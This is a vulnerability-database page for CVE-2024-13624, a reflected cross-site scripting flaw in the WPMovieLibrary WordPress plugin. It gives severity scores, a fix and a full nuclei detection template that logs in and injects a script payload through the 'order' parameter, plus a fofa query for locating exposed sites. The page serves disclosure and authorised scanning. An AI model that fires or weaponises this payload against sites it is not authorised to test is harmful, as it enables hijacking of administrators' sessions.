HexBrain

Browse / CVEs / CVE-2024-13624

CVE-2024-13624· wpmovielibrary· CWE-79

WordPress WPMovieLibrary Plugin <= 2.1.4.8 - Cross-Site Scripting

highseverity
7.1CVSS score
0.7%likelihood of exploitation, next 30 days
53%of all CVEs are less likely
Readycheck to confirm it

The WPMovieLibrary WordPress plugin through version 2.1.4.8 contains a reflected cross-site scripting vulnerability. The plugin does not properly sanitize and escape the 'order' parameter in the import page before outputting it back, which could allow attackers to execute arbitrary JavaScript code in an administrator's browser context.

Impact

Authenticated attackers can execute arbitrary JavaScript in an administrator's browser context via the order parameter, potentially leading to session hijacking or privilege escalation.

Fix

Update WPMovieLibrary plugin to a version newer than 2.1.4.8.

How to confirm it

Send: GET /
Positive when: contains "wpmovielibrary"
Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=wpmovielibrary-import&order=1%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Cscript%3E
Positive when: contains "\"></script><script>alert(document.domain)</script><script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2024-13624 -u <target>

The full check
id: CVE-2024-13624

info:
  name: WordPress WPMovieLibrary Plugin <= 2.1.4.8 - Cross-Site Scripting
  author: ritikchaddha
  severity: high
  description: |
    The WPMovieLibrary WordPress plugin through version 2.1.4.8 contains a reflected cross-site scripting vulnerability. The plugin does not properly sanitize and escape the 'order' parameter in the import page before outputting it back, which could allow attackers to execute arbitrary JavaScript code in an administrator's browser context.
  impact: |
    Authenticated attackers can execute arbitrary JavaScript in an administrator's browser context via the order parameter, potentially leading to session hijacking or privilege escalation.
  remediation: |
    Update WPMovieLibrary plugin to a version newer than 2.1.4.8.
  reference:
    - https://wpscan.com/vulnerability/c19b56cc-634f-420f-b6a0-9a10ad159049
    - https://nvd.nist.gov/vuln/detail/CVE-2024-13624
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
    cvss-score: 7.1
    cve-id: CVE-2024-13624
    cwe-id: CWE-79
    epss-score: 0.00681
    epss-percentile: 0.52752
  metadata:
    verified: true
    max-request: 2
    product: wpmovielibrary
    fofa-query: body="wp-content/plugins/wpmovielibrary/"
  tags: cve,cve2024,wp,wordpress,wp-plugin,xss,wpmovielibrary,authenticated,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    matchers:
      - type: word
        part: body
        words:
          - 'wpmovielibrary'
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

      - |
        GET /wp-admin/admin.php?page=wpmovielibrary-import&order=1%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Cscript%3E HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"></script><script>alert(document.domain)</script><script>'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from